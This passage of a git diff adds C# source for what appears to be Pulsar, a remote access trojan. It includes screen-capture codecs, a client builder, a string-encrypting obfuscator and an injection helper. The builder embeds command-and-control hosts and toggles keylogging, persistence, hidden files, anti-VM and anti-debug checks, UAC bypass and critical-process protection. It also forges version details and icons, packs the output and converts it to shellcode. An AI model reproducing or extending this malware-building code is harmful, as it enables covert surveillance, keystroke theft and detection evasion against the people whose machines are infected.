MemoryStream(temp, 0, dataSize)) + { + this._decodedBitmap = (Bitmap)Bitmap.FromStream(stream); + } + + return _decodedBitmap; + } + + using (Graphics graphics = Graphics.FromImage(_decodedBitmap)) + { + DecodeBlocks(inStream, graphics, dataSize); + } + + return _decodedBitmap; + } + + private void DecodeBlocks(Stream inStream, Graphics graphics, int remainingData) + { + while (remainingData > 0) + { + inStream.Read(_metadataBuffer, 0, 20); + + Rectangle rect = new Rectangle( + BitConverter.ToInt32(_metadataBuffer, 0), + BitConverter.ToInt32(_metadataBuffer, 4), + BitConverter.ToInt32(_metadataBuffer, 8), + BitConverter.ToInt32(_metadataBuffer, 12)); + + int updateLength = BitConverter.ToInt32(_metadataBuffer, 16); + + byte[] buffer = new byte[updateLength]; + inStream.Read(buffer, 0, updateLength); + + using (MemoryStream stream = new MemoryStream(buffer, 0, updateLength)) + using (Bitmap bitmap = (Bitmap)Image.FromStream(stream)) + { + graphics.DrawImage(bitmap, rect.Location); + } + + remainingData -= updateLength + 20; // 20 bytes metadata + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Video/Compression/JpgCompression.cs b/Pulsar.Common/Video/Compression/JpgCompression.cs new file mode 100644 index 0000000..7edec5d --- /dev/null +++ b/Pulsar.Common/Video/Compression/JpgCompression.cs @@ -0,0 +1,59 @@ +ο»Ώusing System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Pulsar.Common.Video.Compression +{ + public class JpgCompression : IDisposable + { + private static readonly ImageCodecInfo JpegEncoderInfo = GetEncoderInfoStatic(); + private readonly EncoderParameters _encoderParams; + + public JpgCompression(long quality) + { + EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); + _encoderParams = new EncoderParameters(1); + _encoderParams.Param[0] = parameter; + } + + public void Dispose() + { + if (_encoderParams != null) + { + _encoderParams.Dispose(); + } + GC.SuppressFinalize(this); + } + + public byte[] Compress(Bitmap bmp) + { + if (bmp == null) throw new ArgumentNullException(nameof(bmp)); + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, JpegEncoderInfo, _encoderParams); + return stream.ToArray(); + } + } + + public void Compress(Bitmap bmp, Stream targetStream) + { + if (bmp == null) throw new ArgumentNullException(nameof(bmp)); + if (targetStream == null) throw new ArgumentNullException(nameof(targetStream)); + bmp.Save(targetStream, JpegEncoderInfo, _encoderParams); + } + + private static ImageCodecInfo GetEncoderInfoStatic() + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int i = 0; i < imageEncoders.Length; i++) + { + if (imageEncoders[i].MimeType == "image/jpeg") + { + return imageEncoders[i]; + } + } + throw new InvalidOperationException("JPEG encoder not found"); + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Video/Resolution.cs b/Pulsar.Common/Video/Resolution.cs new file mode 100644 index 0000000..2ec690b --- /dev/null +++ b/Pulsar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +ο»Ώusing MessagePack; +using System; + +namespace Pulsar.Common.Video +{ + [MessagePackObject] + public class Resolution : IEquatable + { + [Key(1)] + public int Width { get; set; } + + [Key(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Pulsar.Server/.DS_Store b/Pulsar.Server/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..4fab53a0d56b6a1b7beead5620724456027f6cf6 GIT binary patch literal 10244 zcmeI1KTi}v7{=d)yYpDk&}m_@rJ;ht{)9ut1Tma;n!w$W6Wrs-9jDmc2hfC%Kw_dX z_BM7l6gI}FAHYs4KY)eLJ2T+EyYoV&Sj>{$7j~YR`Ry}*c4r`>Xnxq9BT9&ojW#<)HakVG=E$v3B2zo^B}PtB&BkyI4g?2^4)EH&O!G9PO-l3Y_g~*+ zYPVOfH`87dcX_zIeD>+^T3*pUMX~cRvqNAdG_$@$NkPGRzvsnB_~ z9?mjdH!Yd>Y4*nl&}C8;CZX{5s*FO^e|3Zks6sd4QA#_w_Ok;(B*-RQ;Q=Dj6}X(n zizhS!kW7cK&=NY)I&}aj8!-O<)^KFfRSuz1I5HZ+arq+~Ri$Mnz>j0enpH>?hK+rh z@fD!J7Rpk3SV1SC$DMi0=v{5o!eV->;AxH%1T4LKZd}czE1;qb1yX1Pp#5Ts={DeY z>4_Nxk1$ZTsUvybuYt#_Q@9kZx7EE`!AU<+J&l8}Nn3)fH23CDio)XZDekybQD4dQ zwn{7qmcMYzAoBVSUz-qmypo3~7b(5sc4ZcbVS85_!d zq)$&JV`U4BReT}{jl$>Ac^kZ-lU&p6--M}i00)PlLch(qS3P{;S1D|s@)YMhO2HQ& zFyEBndkiifVH>Ws_wxQdm^ewRu&QM%#HwC!qbuTwseyK0H$9SDd=uV^f#em)PO)-J zD@b`DZ<)%&c(tAfxj=Vedy2DzCRoP{zJcGj&6}z(d1L<4K2fi5pOVMhxlha^pTl+Z zd!`vuG=-Zcj;3h-Mw*~PvV6E3OMaE|NS^YPhVUpQ{yr)WM{wW_92mECCcOW@sQ>@} z49G&2!GYkwzj7cd)f@GB)W)w$-@$wB3C=Z~e6Vh0qsf8`OZdLoj>jLoKX}F6o8`y{ z(rYe`Y&6+%-(*L$yZL|rp8;Y6L3zm+*7eFOzMvB?_^|$$dkTt)Vf|m&R##T^ih+t+ M^hHW|)Y)bCZ<{uym;e9( literal 0 HcmV?d00001 diff --git a/Pulsar.Server/Build/.DS_Store b/Pulsar.Server/Build/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..d5e357dc338cf5b44bcac4ccfcd91bd00752a888 GIT binary patch literal 6148 zcmeHKOHRWu5PdFP6j;zD3l_dYZxE`$3W-HI08K*ysUcONNbGVXBu>DJW5FAbRW(X2 zu|gG^k;cy%&)Acf&)5LmcwLTwA%Fo@uy@F2hsd~SM|#mBgD%YRj2WhQL5)?%+YI~2 zfIPb+T%*7oYivEg#rE~mSqP50= zF<=aA7?A&irwV2f8^!SJU=xl2#6HbI*bjRkq89@(i`XdALU9^O)KC|X7*4}!_t7tl z*eGf^Tv(a&#Fbq + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public bool Build(bool obfuscateBuild, bool packBuild) + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Obfuscation + + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + MemoryStream stream = new MemoryStream(); + asmDef.Write(stream); + stream.Position = 0; + asmDef.Dispose(); + + byte[] buffer = stream.ToArray(); + + if (obfuscateBuild) + { + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer); + obf.Obfuscate(); + buffer = obf.Save(); + } + if (packBuild) + { + TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer); + tinyLoader.Pack(); + buffer = tinyLoader.Save(); + } + + + //check if _options.OutputPath is in the same directory as our server executable + string outputDirectory = Path.GetDirectoryName(Path.GetFullPath(_options.OutputPath)); + string serverDirectory = Path.GetDirectoryName(Path.GetFullPath(System.Reflection.Assembly.GetExecutingAssembly().Location)); + if (outputDirectory.Equals(serverDirectory, StringComparison.OrdinalIgnoreCase)) + { + MessageBox.Show("The output path cannot be in the same directory as the server executable. Please choose a different output path.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); + return true; + } + + File.WriteAllBytes(_options.OutputPath, buffer); + + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + + return false; + } + + public void BuildShellcode(bool obfuscateBuild, bool packBuild) + { + if (!File.Exists(Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe"))) + throw new Exception("Donut not found! Shellcode conversion not possible. Try building with donut"); + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing Settings (WARNING: WE NEED TO REMOVE STARTUP AND OTHER DROPPER SETTINGS) + WriteSettings(asmDef); + + // PHASE 2 - Obfuscation + + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + MemoryStream stream = new MemoryStream(); + asmDef.Write(stream); + stream.Position = 0; + asmDef.Dispose(); + + byte[] buffer = stream.ToArray(); + + if (obfuscateBuild) + { + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(buffer); + obf.Obfuscate(); + buffer = obf.Save(); + } + if (packBuild) + { + TinyLoader.TinyLoader tinyLoader = new TinyLoader.TinyLoader(buffer); + tinyLoader.Pack(); + buffer = tinyLoader.Save(); + } + File.WriteAllBytes(_options.OutputPath + ".exe", buffer); + } + // PHASE 3 - Shellcode + ShellcodeBuilder.GenerateShellcode( + _options.OutputPath + ".exe", + "Pulsar.Client.Program", + "Main", + _options.OutputPath, + false + ); + File.Delete(_options.OutputPath + ".exe"); + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = caCertificate.GetRSAPrivateKey()) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Pulsar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + Debug.WriteLine(_options.RawHosts); + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // AntiVM + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiVM)); + break; + case 8: // AntiDebug + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.AntiDebug)); + break; + case 9: // Pastebin + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Pastebin)); + break; + case 10: // UACBypass + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UACBypass)); + break; + case 11: // CRITICALPROCESS + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.CRITICALPROCESS)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/.DS_Store b/Pulsar.Server/Build/Obfuscator/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..77973fe7e68387ee2b5e173221725f49170958d0 GIT binary patch literal 6148 zcmeHKOHRW;41H6IR0NAIVK+yh7eJv3tdRjYwyK1FBsLWw zTk^b#$DVQCNO24x3|}V$pbwx&73}PBSRt}5x+ER5$YMx)%yEwjGnBYn@^-^-WI*oj z0GGV88$6?Ve>2RBhr#H!DyN$GQN78xtnz$ZRAc(cp6BmxpQoGsCqMF^J~neX=GNH7 z6<+X!;(MkiAMMpOxi#X;YGpPJkM{W&a=wc*;0!nef0Y5&Y?0o+qL0piGvEv?7?AHn zqzYz+wPN~oa7Zlxu}gCj&ZU=-m}r<8){0!A1Pvu>Xs{L|XgKZB{4&E@QNt0e`3QD$ zunr}p)46|4?g*KpkIsNI&}LvqANx}O&(`< transformers = new List() + { + new RenamerTransformer(), + new StringEncryptionTransformer() + }; + + foreach (ITransformer transformer in transformers) + { + transformer.Transform(this); + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs new file mode 100644 index 0000000..9988692 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs @@ -0,0 +1,31 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class ITransformer + { + + protected static readonly Random random = new Random(); + + public virtual void Transform(Obfuscator obf) { } + + protected string RandomString(int length) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + return new string(Enumerable.Repeat(chars, length) + .Select(s => s[random.Next(s.Length)]).ToArray()); + } + + protected string RandomUTFString(int length) + { + // make weird utf strings like \u0x200 etc + return new string(Enumerable.Repeat(1, length) + .Select(s => (char)random.Next(0, 0xFFFF)).ToArray()); + } + + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs new file mode 100644 index 0000000..92194e1 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs @@ -0,0 +1,72 @@ +ο»Ώusing dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class RenamerTransformer : ITransformer + { + + public override void Transform(Obfuscator obf) + { + //TODO: rewrite this and use this transformer instead of the Build/Renamer one + + //ModuleDefMD module = obf.Module; + + + //module.Name = RandomString(10); + //module.Assembly.Name = RandomString(10); + //module.Assembly.Culture = RandomString(10); + //module.Assembly.Version = new Version(random.Next(0, 10), random.Next(0, 10), random.Next(0, 10), random.Next(0, 10)); + + //foreach (TypeDef type in module.GetTypes()) + //{ + // if (type.IsRuntimeSpecialName) continue; + // if (type.IsSpecialName) continue; + // if (type.IsGlobalModuleType) continue; + // if (type.IsWindowsRuntime) continue; + // if (type.IsInterface) continue; + + // type.Namespace = ""; + // type.Name = RandomUTFString(10); + + // foreach (PropertyDef property in type.Properties) + // { + // property.Name = RandomUTFString(10); + // } + + // foreach (FieldDef field in type.Fields) + // { + // field.Name = RandomUTFString(10); + // } + + // foreach (EventDef eventDef in type.Events) { + // eventDef.Name = RandomUTFString(10); + // } + + // foreach (MethodDef method in type.Methods) + // { + + // if(!method.HasBody) continue; + + // foreach (ParamDef param in method.ParamDefs) + // { + // param.Name = RandomUTFString(10); + // } + + // foreach (Local local in method.Body.Variables) + // { + // local.Name = RandomUTFString(10); + // } + + // } + + //} + } + } + +} diff --git a/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs b/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs new file mode 100644 index 0000000..b6d2ec5 --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs @@ -0,0 +1,87 @@ +ο»Ώusing dnlib.DotNet; +using dnlib.DotNet.Emit; +using Pulsar.Server.Build.Obfuscator.Utils; +using Pulsar.Server.Build.Obfuscator.Utils.Injection; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Server.Build.Obfuscator.Transformers +{ + public class StringEncryptionTransformer : ITransformer + { + + + public MethodDef InjectDecryptionMethod(ModuleDefMD module) + { + // create our type holding our string decryption method + TypeDef stringType = new TypeDefUser("", RandomUTFString(10), module.CorLibTypes.Object.TypeDefOrRef); + module.Types.Add(stringType); + + // inject the methods we want to it + + ModuleDefMD typeModule = ModuleDefMD.Load(typeof(StringEncryption).Module); + TypeDef typeDef = typeModule.ResolveTypeDef(MDToken.ToRID(typeof(StringEncryption).MetadataToken)); + IEnumerable members = InjectHelper.Inject(typeDef, stringType, module); + MethodDef decryptMethod = (MethodDef)members.Single(method => method.Name == "Decrypt"); + decryptMethod.Name = RandomUTFString(10); + + + // remove the Encrypt method + stringType.Methods.Remove(stringType.Methods.Single(method => method.Name == "Encrypt")); + + return decryptMethod; + } + + public override void Transform(Obfuscator obf) + { + // Inject the Decrypt method into the type + MethodDef decryptMethod = InjectDecryptionMethod(obf.Module); + + foreach (TypeDef type in obf.Module.GetTypes()) + { + + if (type.FullName.StartsWith("NAudio")) continue; + + foreach (MethodDef method in type.Methods) + { + if (!method.HasBody) continue; + method.Body.SimplifyBranches(); + + + for (int i = 0; i < method.Body.Instructions.Count; i++) + { + if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) + { + object op = method.Body.Instructions[i].Operand; + if (op is string) + { + AesManaged aes = new AesManaged(); + string key = Convert.ToBase64String(aes.Key); + string iv = Convert.ToBase64String(aes.IV); + + string encrypted = StringEncryption.Encrypt((string)op, aes.Key, aes.IV); + + // Call to decrypt(value, key, iv); + method.Body.Instructions[i].Operand = encrypted; + method.Body.Instructions.Insert(i + 1, OpCodes.Ldstr.ToInstruction(key)); + method.Body.Instructions.Insert(i + 2, OpCodes.Ldstr.ToInstruction(iv)); + method.Body.Instructions.Insert(i + 3, OpCodes.Call.ToInstruction(decryptMethod)); + + + + i += 3; // skip the added instructions + + } + } + } + } + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs b/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs new file mode 100644 index 0000000..baa164a --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs @@ -0,0 +1,356 @@ +ο»Ώusing dnlib.DotNet.Emit; +using dnlib.DotNet; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +/// +/// To be honest, I don't even know where I got this class from. Just know it's cool :catThumbsUp: - body +/// + +namespace Pulsar.Server.Build.Obfuscator.Utils +{ + /// + /// Provides methods to inject a into another module. + /// + public static class InjectHelper + { + /// + /// Clones the specified origin TypeDef. + /// + /// The origin TypeDef. + /// The cloned TypeDef. + static TypeDefUser Clone(TypeDef origin) + { + var ret = new TypeDefUser(origin.Namespace, origin.Name); + ret.Attributes = origin.Attributes; + + if (origin.ClassLayout != null) + ret.ClassLayout = new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin MethodDef. + /// + /// The origin MethodDef. + /// The cloned MethodDef. + static MethodDefUser Clone(MethodDef origin) + { + var ret = new MethodDefUser(origin.Name, null, origin.ImplAttributes, origin.Attributes); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin FieldDef. + /// + /// The origin FieldDef. + /// The cloned FieldDef. + static FieldDefUser Clone(FieldDef origin) + { + var ret = new FieldDefUser(origin.Name, null, origin.Attributes); + return ret; + } + + /// + /// Populates the context mappings. + /// + /// The origin TypeDef. + /// The injection context. + /// The new TypeDef. + static TypeDef PopulateContext(TypeDef typeDef, InjectContext ctx) + { + var ret = ctx.Map(typeDef)?.ResolveTypeDef(); + if (ret is null) + { + ret = Clone(typeDef); + ctx.DefMap[typeDef] = ret; + } + + foreach (TypeDef nestedType in typeDef.NestedTypes) + ret.NestedTypes.Add(PopulateContext(nestedType, ctx)); + + foreach (MethodDef method in typeDef.Methods) + ret.Methods.Add((MethodDef)(ctx.DefMap[method] = Clone(method))); + + foreach (FieldDef field in typeDef.Fields) + ret.Fields.Add((FieldDef)(ctx.DefMap[field] = Clone(field))); + + return ret; + } + + /// + /// Copies the information from the origin type to injected type. + /// + /// The origin TypeDef. + /// The injection context. + static void CopyTypeDef(TypeDef typeDef, InjectContext ctx) + { + var newTypeDef = ctx.Map(typeDef)?.ResolveTypeDefThrow(); + newTypeDef.BaseType = ctx.Importer.Import(typeDef.BaseType); + + foreach (InterfaceImpl iface in typeDef.Interfaces) + newTypeDef.Interfaces.Add(new InterfaceImplUser(ctx.Importer.Import(iface.Interface))); + } + + /// + /// Copies the information from the origin method to injected method. + /// + /// The origin MethodDef. + /// The injection context. + static void CopyMethodDef(MethodDef methodDef, InjectContext ctx) + { + var newMethodDef = ctx.Map(methodDef)?.ResolveMethodDefThrow(); + + newMethodDef.Signature = ctx.Importer.Import(methodDef.Signature); + newMethodDef.Parameters.UpdateParameterTypes(); + + foreach (var paramDef in methodDef.ParamDefs) + newMethodDef.ParamDefs.Add(new ParamDefUser(paramDef.Name, paramDef.Sequence, paramDef.Attributes)); + + if (methodDef.ImplMap != null) + newMethodDef.ImplMap = new ImplMapUser(new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes); + + foreach (CustomAttribute ca in methodDef.CustomAttributes) + newMethodDef.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType)ctx.Importer.Import(ca.Constructor))); + + if (methodDef.HasBody) + CopyMethodBody(methodDef, ctx, newMethodDef); + } + + static void CopyMethodBody(MethodDef methodDef, InjectContext ctx, MethodDef newMethodDef) + { + newMethodDef.Body = new CilBody(methodDef.Body.InitLocals, new List(), + new List(), new List()) + { MaxStack = methodDef.Body.MaxStack }; + + var bodyMap = new Dictionary(); + + foreach (Local local in methodDef.Body.Variables) + { + var newLocal = new Local(ctx.Importer.Import(local.Type)); + newMethodDef.Body.Variables.Add(newLocal); + newLocal.Name = local.Name; + + bodyMap[local] = newLocal; + } + + foreach (Instruction instr in methodDef.Body.Instructions) + { + var newInstr = new Instruction(instr.OpCode, instr.Operand) + { + SequencePoint = instr.SequencePoint + }; + + switch (newInstr.Operand) + { + case IType type: + newInstr.Operand = ctx.Importer.Import(type); + break; + case IMethod method: + newInstr.Operand = ctx.Importer.Import(method); + break; + case IField field: + newInstr.Operand = ctx.Importer.Import(field); + break; + } + + newMethodDef.Body.Instructions.Add(newInstr); + bodyMap[instr] = newInstr; + } + + foreach (Instruction instr in newMethodDef.Body.Instructions) + { + if (instr.Operand != null && bodyMap.ContainsKey(instr.Operand)) + instr.Operand = bodyMap[instr.Operand]; + else if (instr.Operand is Instruction[] instructions) + instr.Operand = instructions.Select(target => (Instruction)bodyMap[target]).ToArray(); + } + + foreach (ExceptionHandler eh in methodDef.Body.ExceptionHandlers) + newMethodDef.Body.ExceptionHandlers.Add(new ExceptionHandler(eh.HandlerType) + { + CatchType = eh.CatchType == null ? null : ctx.Importer.Import(eh.CatchType), + TryStart = (Instruction)bodyMap[eh.TryStart], + TryEnd = (Instruction)bodyMap[eh.TryEnd], + HandlerStart = (Instruction)bodyMap[eh.HandlerStart], + HandlerEnd = (Instruction)bodyMap[eh.HandlerEnd], + FilterStart = eh.FilterStart == null ? null : (Instruction)bodyMap[eh.FilterStart] + }); + + newMethodDef.Body.SimplifyMacros(newMethodDef.Parameters); + } + + /// + /// Copies the information from the origin field to injected field. + /// + /// The origin FieldDef. + /// The injection context. + static void CopyFieldDef(FieldDef fieldDef, InjectContext ctx) + { + var newFieldDef = ctx.Map(fieldDef).ResolveFieldDefThrow(); + + newFieldDef.Signature = ctx.Importer.Import(fieldDef.Signature); + } + + /// + /// Copies the information to the injected definitions. + /// + /// The origin TypeDef. + /// The injection context. + /// if set to true, copy information of . + static void Copy(TypeDef typeDef, InjectContext ctx, bool copySelf) + { + if (copySelf) + CopyTypeDef(typeDef, ctx); + + foreach (TypeDef nestedType in typeDef.NestedTypes) + Copy(nestedType, ctx, true); + + foreach (MethodDef method in typeDef.Methods) + CopyMethodDef(method, ctx); + + foreach (FieldDef field in typeDef.Fields) + CopyFieldDef(field, ctx); + } + + /// + /// Injects the specified TypeDef to another module. + /// + /// The source TypeDef. + /// The target module. + /// The injected TypeDef. + public static TypeDef Inject(TypeDef typeDef, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + var result = PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, true); + return result; + } + + /// + /// Injects the specified MethodDef to another module. + /// + /// The source MethodDef. + /// The target module. + /// The injected MethodDef. + public static MethodDef Inject(MethodDef methodDef, ModuleDef target) + { + var ctx = new InjectContext(methodDef.Module, target); + MethodDef result; + ctx.DefMap[methodDef] = result = Clone(methodDef); + CopyMethodDef(methodDef, ctx); + return result; + } + + /// + /// Injects the members of specified TypeDef to another module. + /// + /// The source TypeDef. + /// The new type. + /// The target module. + /// Injected members. + public static IEnumerable Inject(TypeDef typeDef, TypeDef newType, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + ctx.DefMap[typeDef] = newType; + PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, false); + return ctx.DefMap.Values.Except(new[] { newType }).OfType(); + } + + /// + /// Context of the injection process. + /// + class InjectContext : ImportMapper + { + /// + /// The mapping of origin definitions to injected definitions. + 